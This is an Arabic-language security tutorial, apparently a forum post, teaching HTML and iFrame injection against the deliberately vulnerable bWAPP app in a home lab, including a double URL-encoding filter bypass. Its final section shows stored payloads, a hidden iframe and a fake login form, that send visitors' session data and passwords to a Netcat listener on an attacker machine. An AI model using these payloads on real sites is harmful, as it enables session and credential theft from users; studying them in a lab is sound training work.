01 - OWASP_TOP10 | Injection Part 1

Injection series

  1. Limbo


    المحتوى :


    1- Burp&Proxy

    2- HTTP Protocol .

    3- HTTP Request & Response Message .

    4- HTML Injection - Reflected (GET) low & medium .

    5- HTML Injection - Reflected (POST) low & medium .

    6- HTML Injection - Reflected (Current URL) low .

    8- HTML Injection - Stored (Blog) low .

    9- iFrame Injection low .

    9- Use HTML injection as a BlackHat Hacker .


    سوف نكمل الجزء الخاص بالـ Html Injection في هذا الموضوع لكن سوف نحتاج الى قدر من التدريب على كل حالة بالتفصيل في هذه السلسلة ، لذا يجب عليك عمل مختبر صغير لكي تقوم بالتدرب فيه ، بعد العديد من عمليات البحث وجدت أفضل خيار سوف يساعدنا في عملية التدريب هذه وهو "vulnerablewebapps" .
    حسنا هو باختصار عبارة عن نظام تشغيل وهمي يحتوي على أشهر منصات الـ Vulnerable Web Application .


    Code:
    VMWare Ubuntu 18.04 server appliance .
    
    user:va
    PASS: vulnerablewebapps
    

    كل ما عليك فقط هو تشغيلها والدخول عليها من متصفح ثم بدأ العمل أو بإمكانك تحميل المنصة التي تريدها وتشغيلها على نظام التشغيل الخاص بك . .

    سوف نبدأ مع نبذة لأشهر أداة في مجال أمن تطبيقات الويب .


    Burp Suite
    [​IMG]

    الـ Burp Suite أو الـ Burp هى أداة لإختبار أمان تطبيق الويب. تمت كتابة الأداة بلغة الـ Java وتطويرها بواسطة PortSwigger Web Security .

    تحتوي الأداة على ثلاثة إصدارات. إصدار الـ Community يمكن تنزيله مجانًا وإصدار احترافي وإصدار Enterprise يمكن شراؤه بعد فترة تجريبية .



    يوجد في الأداة عن ما يقارب ٩ أدوات مثل :


    proxy server, scanner and intruder also spider, a repeater, a decoder, a comparer, an extender and a sequencer .

    لكن أهم أداة فيها هو الـ HTTP Proxy . وهذا ما سوف نستخدمه حاليا .
    ووظيفته أن يكون في المنتصف بينك وبين الموقع لتعديل الطلبات التي ترسلها إلى الموقع . يمكنك تحميل الأداة من الموقع الرسمي الخاص بها . portswigger .

    وسوف تحتاج إلى متصفح مثل FireFox مع إضافة FoxyProxy .

    لـ تفعيل الـ Proxy وقت الحاجة مع الـ Burp .


    [​IMG]


    في البداية تعالوا نفهم بعض الأساسيات في الجزء الخاص بالـ WEB .
    ما هو الـ HTTP Protocol :

    هو في البداية أكثر بروتوكول مستخدم للإنترنت في العالم . وهو يقوم بإدارة عمليات الاتصالات بين الحاسوب و الـ Web Server ويتم ذلك عن طريق الـ HTTP Requests and receiving HTTP Responses .

    هناك ثلاثة أشياء رئيسيه يجب عليك معرفتهااولا عن الـ HTTP :



    1- Connectionless Protocol:

    أي أنه بعد أن يقوم الحاسوب بعمل طلب Request الى الـServer يتم فصل الاتصال بينهماحتي يقوم الـ Server بعمل Respond او الرد علية مرة أخرى .


    2-The HTTP can deliver any sort of data .

    يستطيع HTTP protocol أن يقوم بتوصيل أي نوع من البيانات طالما أن الطرفين يستطيعون قراءتها وتبادلها .



    3- The HTTP protocol is a stateless .

    عندما يقوم الحاسوب بالاتصال بالسيرفر يكون كلاهما على معرفة ببعضهما في الاتصال الحالي فقط ، عندما يتم فصل الاتصال وإعادته مرة أخرى يجب عليهما تعريف بعضهما البعض مرة أخرى ولذلك تم إيجاد ما يعرف بالـ Cookies . لإبقاء حالات الاتصال حتى أثناء التنقل بين الصفحات .

    والان كيف تعمل عمليات الإتصال تلك بواسطة الـ HTTP :
    تتكون من جزئين أساسيين الأول وهو الطلب Request والثاني هو الرد Response .


    Request-Response Cycle

    [​IMG]


    عندما تود بدا إتصال مع السيرفر يرسل في البداية المستخدم Http Request Message .
    ثم يتلقى الخادم الطلب يقوم بمعالجتة ثم يرسل الرد مرة أخرى للمستخدم HTTP Response Message .


    1- HTTP Request Message :

    حسنا مما تتكون الـ Request Message .
    هو في الغالب يكون الطلب الذي يقوم به المستخدم للسيرفر ويتكون من :


    [​IMG]

    • Method

    هي ببساطة تشبه الأمر الذي يعطيه المستخدم للسيرفر ، مثلا اجلب الصفحة كذا او حتى امسح كذاا .. الخ . وها هي أشهر الأنواع التي سوف نقابلها


    [​IMG]

    سوف نفهم آلية عمل كل منهم ، لكن في موضوع الـ HTML Injection سوف نقوم بالتركيز على GET and POST وهما السبب من البداية في شرحنا لهذا الجزء تحديدا . .


    GET


    باختصار هي تستخدم مع الـURLs هدفها الأساسي هو جلب صفحة التي يريدها المستخدم مثال :


    Code:
    GET /index.php HTTP/1.1
    
    Host: www.nakerah.net
    

    POST

    باختصار هي تستخدم أكثر مع مدخلات المستخدم التي يرسل الى السيرفر .


    Code:
    POST /index.php?login/login HTTP/1.1
    
    Host: www.nakerah.net
    
    login=admin&register=0&password=admin
    

    على سبيل المثال هنا عندما فتحت صفحة Nakerah.net قمت فقط بالتسجيل باسم مستخدم وأيضا كلمة مرور admin . وكان هذا هو شكل الطلب عند اعتراضه .

    حسنا كيف لي ان احصل على هذا الشكل . ومعرفة الطلب إذا كان GET or POST etc.. عن طريق شيء ما يكون في المنتصف بين المتصفح وبين الموقع مثل Proxy وفي حالتي استخدمت Burp Suite .


    • URL

      يحتوي علي الرابط التي سوف تطبق علية هذه الـ Method .

    • HTTP Version .

    أصدار الـ HTTP اشهر نوعان هما HTTP/1.0 and HTTP/1.1 الفرق بينهما فقط أحدهم يفصل الاتصال بعد كل طلب والاصدار الحديث يبقي الاتصال وهو الـ HTTP/1.1 .




    2- HTTP Response Message :

    يكون هو الرد الذي يأتي به السيرفر اليك .
    [​IMG]

    أكثر ما يهمنا هنا هو الـ Status code وانواعه هي :
    [​IMG]




    حسنا لنتوقف قليلا ولنرى ما الهدف من هذا كله في الـHTML Injection .
    سابقا طلبت منك بيئة للعمل عليها والتدريب عليها وقمت بإختيارvulnerablewebapps وسوف نبدأ بمنصة الـ bwapp .


    يمكنك تحميل كل ما تريدة من كل هذه الـ Web servers من المواقع الخاصة بها .

    بعد الدخول على المنصة نجد هنا الثغرات التي قمنا بتعريفها مسبقا التي تندرج تحت الـA1 "اشهر المخاطر الأمنية " .



    وبعد فهمنا للـ GET & POST وكيفية عملهم هيا نجرب التعامل معهم علي مستوي متقدم .


    [​IMG]

    HTML Injection - Reflected (GET) low

    بعد اختيار HTML injection – Reflected GET و اختيار مستوى الصعوبة منخفض " Low " .
    سوف نجد خانتين لإدخال الـ First name and Last name هيا لنرى كيف نتعامل معه .
    لنجرب الفحص اليدوي :


    [​IMG]

    عند ادخال الاسم الاول والاخير يتم طباعتهم كما هما ، هيا نري علي مستوي الـ Burp.


    [​IMG]
    Code:
    GET /bWAPP/htmli_get.php?firstname=nakerah&lastname=network&form=submit HTTP/1.1
    

    لنقم بتجربة تغير قيمة المتغير أو الاسم قبل ارساله للموقع .


    Code:
    GET /bWAPP/htmli_get.php?firstname=<h1>nakerah</h1>&lastname=network&form=submit HTTP/1.1
    

    [​IMG]

    [​IMG]

    ها هو أثر التطبيق تم بنجاح ولكن كل هذا في ظل عدم وجود أي عقبات أمامنا . هيا نقوم بزيادة الصعوبة قليلا . ونفهم الآلية وراء عملها . لكن قبل ذلك تذكر الطرق التي ذكرناها سابقا فيما يخص باكتشاف الثغرات إما عن طريق الاختبار اليدوي الخاص بك ، او عن طريق احدى برامج فحص الثغرات ، او عن طريق فحص الكود المصدري اذا وجد .

    فحص الكود:

    سوف تجد كود هذا التحدي في في مسار


    Code:
    bWAPP/ htmli_get.php
    
    [​IMG]

    نرى أنه في المستوي 0 لا يوجد أي نظام تحقق من المدخلات . لذلك لم نواجه أي مشاكل .

    ---------------------------------------------------------------------------------------------------------------------------------​


    HTML Injection - Reflected (GET) Medium

    دعونا نرى ما الذي يحدث عند زيادة الصعوبة إلى المستوى المتوسط .


    [​IMG]

    عند تكرار نفس الخطوات السابقة تماما لكن مع تعديل المستوى الى medium .
    نرى أنه تم طباعة الـ Tags كما هي !! لكن أين المشكلة .
    بالضغط زر الماوس الأيمن على view-source لنقوم بفحص كود الصفحة .


    [​IMG]

    نرى أنه قد تحول الـPayload من .


    HTML:
    Welcome <h1>nakerah2</h1> network2
    

    الى .


    HTML:
    Welcome &lt;h1&gt;nakerah2&lt;/h1&gt; network2
    

    الفرق بين الاثنين هنا هو أن الـ <> تم عمل لهم Encode أو ترميز . لذا دعونا نرى كيف يمكننا تخطي هذا الـ Filter .

    لذا دعونا نقم بعمل URL Encode للـ Payload وذلك إما عن طريق Burp or Online .


    HTML:
    <h1>nakerah2</h1>
    
    Code:
    URL Encoding
    %3c%68%31%3e%6e%61%6b%65%72%61%68%32%3c%2f%68%31%3e
    
    Code:
    URL Encoding*2
    %25%33%63%25%36%38%25%33%31%25%33%65%25%36%65%25%36%31%25%36%62%25%36%35%25%37%32%25%36%31%25%36%38%25%33%32%25%33%63%25%32%66%25%36%38%25%33%31%25%33%65 


    بعد عمل Encode as URL للـ Payload وقمنا بتغيير الـ Request اصبح بهذا الشكل


    [​IMG]

    لكن ، لم يتغير أي شيء ..
    لكن لاحظوا انه قام بعمل Decode للـ Payload وأظهره على شكله الأصلي. وهذا يدل ان الـFilter يقوم بعمل Decode للمدخلات .


    [​IMG]

    حسنا لنقم بتجربة عمل Encode *2 للـ Payload بحيث انه اذا قام بعمل Decode مره سوف يجد الأخرى أيضا ليس بها أي من علامات الـ <> التي يبحث عنها .


    [​IMG]

    تم بالفعل تطبيق التغيير على الصفحة وتم تخطي الـ Filter .


    [​IMG]

    الآن لنقم بمراجعة الكود المصدري لنتأكد من هذا ، في نفس المسار السابق شرحه في حالة الـ low لكن هذه المرة في وجود Filter .


    [​IMG]

    نجد أنه في حالة الـ Medium يقوم باستخدامFilter معين ، لكن هذه المرة دعونا نتفقد كيف يعمل هذا الـ Filter أو الدالة التي تقوم بعملEncode ،و نجدها في الملف الذي يسمي


    Code:
    functions_external.php
    

    ها هو الـ فلتر.


    [​IMG]

    نجد أنه فعلا يقوم بعمل تغيير لعلامات الـ <> الى ما هو موضح امامنا . ولان هذا محتوي تعليمي سوف نجد ان طريقة إجتياز هذا الإختبار مذكورة في الأسفل كـ تعليق ، بانه يجب عمل Encoding مرتين للـ Payload وهذا ما اكتشفناه سويا .
    أما الآن دعونا ننتقل إلى مرحلة متقدمة قليلا . تذكر ان كل هذه التغيرات التي نقوم بإرسالها تستخدم الـ GET اي يمكن حقنها او ادخالها مباشرة داخل الـ URL .


    HTML Injection - Reflected (POST) low

    أما بالنسبة للجزء الخاص بالـ POST عند ضبط المنصة على POST and low ونقوم بإدخال المدخلات في أماكنها نجد انه قد تغير الـ الRequest الي POST عوضا عن GET الفرق الوحيد بينهما انه في الـ GET كان المتغير يتم وضعه في الرابط URL ويرسل الى الطلب إلى الموقع .


    [​IMG]

    قمت بتغييرها الى الـ Payload .


    Code:
    <h1>nakerah2</h1>

    وكالعادة تم التطبيق


    [​IMG]

    حسنا لنرى في حالة الـ Medium .


    [​IMG]

    قمت بوضع نفس الـ Payload وهو في حالة الـ URL*2 Encoded .


    [​IMG]

    وأيضا تم التطبيق بنجاح ... الفكرة هي نفسها و كلها تكمن في كيفية تخطي الـFilter .


    HTML Injection - Reflected (URL)

    في هذه الحالة لا يوجد لدينا اماكن إدخال محددة أو واضحة . إذا لنقم بتجربة التعديل قليلا في مكان الإدخال الوحيد لدينا وهو الـ URL .
    في هذه الحالة لا يوجد مكان لإدخال لكن إذا لاحظنا أنه كان هناك نوعا ما من دالة تقوم بطباعة الرابط الحالي في الصفحة .


    [​IMG]

    سوف اجرب اضافة كلمات الى الرابط لأرى التغيير وبناء عليه سوف نقرر كيف نتعامل معه .


    [​IMG]
    Code:
     http://192.168.1.12/bWAPP/htmli_current_url.php
     http://192.168.1.12/bWAPP/htmli_current_url.php/Limbo
    

    [​IMG]

    تمت طباعة الكلمة بنجاح الآن لنرى هل يمكننا عمل inject for Payload .


    [​IMG]

    ثم …




    [​IMG]


    تمت ، و الملاحظة من هذه الطريقة هو دائما تفحص الطلب والرد من الموقع واليه ، دائما قم بعملية الفحص كي تفهم جيدا آلية عمل الصفحة .


    HTML Injection - Stored (Blog)

    هو اخطر نوع في جميع الأنواع السابقة ، السبب هو أنه لا حاجة في ارسال الـPayload للضحية . يكون عبارة عن Stored أي يتم تخزينه على السيرفر نفسة مثل Comment أي عند دخول أي شخص على هذه الصفحة سوف يتم تطبيق الـ Payload تلقائيا .
    عند وضع النص والضغط على Submit يتم تسجيلها في الـ DATA Base لهذه الصفحة . هيا نحاول اعتراض الطلب ونقوم بالتعديل علية .


    [​IMG]

    في البداية مثل كل مرة تم تسجيل النص بدون اي مشكلة . لنحاول اعتراض الـ Request ثم إدخال بعض الـ Tags.


    [​IMG]

    نلاحظ أنه في المتغير entry يوجد قيمة التي قمنا بإدخالها في الـ Text box . وأيضا هذا طلب للسيرفر من النوع POST وقد اتفقنا مسبقا انه بهذة الطريقة وليس عن طريق طلب صفحة من الموقع مثل GET .

    بعد وضع الـ Payload "داخل المتغير entry في الصف الاخير "


    [​IMG]



    [​IMG]

    تم تخزين الـ Payload بنجاح في الصفحة . والتأثير سوف يطبق علي اي شخص يقوم بالدخول وليس عليك ارسال الـ Payload له .
    النوع الأخير اليوم وهو


    iFrame Injection

    ما هو اصلا الـ Iframe .
    هو أحد الـ HTML <iframe> Tag في عملة يقوم بعرض ملف معين من علي السيرفر يكون و على هذا الشكل .


    HTML:
    <iframe src="demo_iframe.htm" height="200" width="300"></iframe>
    

    يتكون من مسار الملف وحجم عرضه على الشاشة .في حالتنا هذه هو الرابط .


    Code:
    http://192.168.1.11/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
    


    [​IMG]

    نلاحظ أن هناك متغير باسم ParmUrl يقوم بعرض في المسار الحالي ملف robot.txt وهذه هي أبعاد ٢٥٠×٢٥٠ .

    حسنا ما يدور ببالك الآن انه يمكنك تشغيل أو فتح أي ملف علي السيرفر اذا غيرنا المسار .. حسنا هذا تخمين جيد جدا ، لكن كيف سوف تعرف أسماء ومسارات الملفات على السيرفر ؟ هنا يأتي دور الـfuzzers أشهر الأنواع استخداما هوdirbuster .
    قد قمت بتوفير الوقت ورفع صورة علي السيرفر بنفسي لنقوم بعرضها لنرى ..


    [​IMG]

    تم العرض ، يمكنك أيضا رفع ملف مثل shell.php على السيرفر وعند فتح الملف يعطيك امكانية عمل Remote Code Exec و التحكم في السيرفر . يمكنك عمل اتصال بسيط بواسطة الـ Netcat لتحصل علي Shell access للـ حاسوب الخاص بك وتطبيق الأوامر مباشرة ايضا علي السيرفر من حاسوبك .
    لكن لم نتطرق الى هذا بعد كل ما يهمنا الآن كيف نقوم تطبيق Html injection .
    يمكنك محاولة استخدام HTML injection العادية بدون رفع أي ملفات علي السيرفر تعالوا لنرى كيف . عند عمل فحص كود المصدر للصفحة نجده هكذا .


    [​IMG]

    وهذا هو الرابط الأساسي


    Code:
    http://192.168.1.11/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250
    

    ماذا يحدث اذا جربنا وضع مدخلات داخل الطلب GET أي عن طريق الرابط مثل .


    Code:
    http://192.168.1.11/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250nakerah
    

    لم يطبع شيء على الشاشة بعد لكن دعونا نرى ماذا يحدث في الخلفية


    [​IMG]


    هممم كما ترون لن نستطيع طباعة الكلمة مادام كود الصفحة ليس بالشكل الصحيح للـ HTMLلذا دعونا نرى ما يممكننا فعله هنا " دائما الحل يكمن في جعل كود الصفحة الـ HTML سليم .
    لذا سوف أقوم بغلق الـ Iframe الاولي ووضع بداية للـ Iframe الاخيره واكتب الـ Payload الخاص بي في المنتصف .


    Code:
    192.168.1.11/bWAPP/iframei.php?ParamUrl=robots.txt&ParamWidth=250&ParamHeight=250"></iframe><h1>nakerah</h1><iframe>
    
    HTML:
    </div>
    
    <div id="main">
    
        <h1>iFrame Injection</h1>
    
        <iframe frameborder="0" src="robots.txt" height="250"></iframe><h1>nakerah</h1><iframe>" width="250"></iframe>
    
    </div>
    


    [​IMG]

    تمت هذة ايضا :)


    Use HTML injection like BlackHat Hacker

    لنرى بعض التأثير السلبي لـ HTMl Injection as a black hat hacker .
    هذا مثال علي اكثر نوع ضرر وهو الـ Stored .

    image20.png
    قمت بفتح Netcat "nc" وجعله في وضع انتظار الاتصال على المنفذ ١٢٣٤ .
    ليقوم بتلقي أي شيء يأتي له علي هذا المنفذ للعلم ان عنوان الـ Kali هو 192.168.1.8 .

    image361111.png


    HTML:
    <iframe src="http://192.168.1.8:1234/shell.html" height="0" width="0"></iframe>
    

    ثم ها هو الـ Payload .
    الان لنرى النتيجة .


    mm.png

    :) الان كما ترون تم ارسال جميع معلومات الـ Session الى الـ NetCat .
    تم الحصول ايضا على معلومات الـ User Agent ومعلومات مهمه اخرى ، وأي شخص سوف يقوم بزيارة الموقع سوف تحصل على بياناته . هيا لنقم بتجربة شيء أفضل ـ سوف أقوم بفتح إتصال مرة اخرى بنفس الطريقة السابقة ثم ..




    ha.png
    قمت بتعديل على الصفحة وإدخال بعض خانات إدخال البيانات مثل اسم المستخدم وكلمة المرور .​


    HTML:
    <form name="login" action="http://192.168.1.8:1234/shell.html">
     <div>
        <label for="username">Username:</label>
        <input type="text" id="username" name="username">
    </div>
    <div>
        <label for="pass">Password </label>
        <input type="password" id="pass" name="password" >
    </div>
    <input type="submit" value="Sign in">
    </form>
    
    nc.png

    كما ترى قد تم إرسال الية البيانات كاملة .☺ وهذا السبب انه بعض الثغرات في المواقع يتم دفع مقابلها مال والمواقع الأخرى يدفع مقابلها أضعاف ولنفس الثغرة .

    إذا وجدت مثل هذه الثغرة في بنك " أي بإمكانك استعارة :3 بيانات المستخدم لكن الخطورة أنه يملك أموال . وفي موقع آخر ليس لدية نفس الخطورة يمكنك عمل نفس التأثير لكن الاختلاف انه ليس موقع لتداول بيانات حساسة مثل البنوك على سبيل المثال .
    hackerone.png
    يتم دفع ما يقارب 20 ألف دولار من أجل ثغرات الـ XSS في البنوك مثل الـ PayPal لكن هذا لا يمنع من انها من الممكن ان تحصل بها على معلومات مدير الموقع الخ..

    الـ XSS سوف نتكلم عنها قريبا ان شاء الله ، تتبع نفس الطريقة تماما التي شرحناها في لكن عوضا عن حقن HTML سوف نعمل على Java Script .

    Images

    1. image4.png
    2. ١.png
    3. image26.png
    4. image7.png
    5. image39.png
    6. ٢.png
    7. image6.png
    8. ١١.png
    9. image5.png
    10. image32.png
    11. image15.png
    12. Filter.png
    13. image12.png
    14. image35.png
    15. image10.png
    16. image34.png
    17. image21.png
    18. ٦٦.png
    19. image19.png
    20. image13.png
    21. image31.png
    22. image27.png
    23. image16.png
    24. ١٥٥.png
    25. image30.png
    26. image23.png
    27. image38.png
    28. image18.png
    29. ٨٨.png
    30. image37.png
    Hamid01 likes this.

Recent Reviews

  1. Hamid01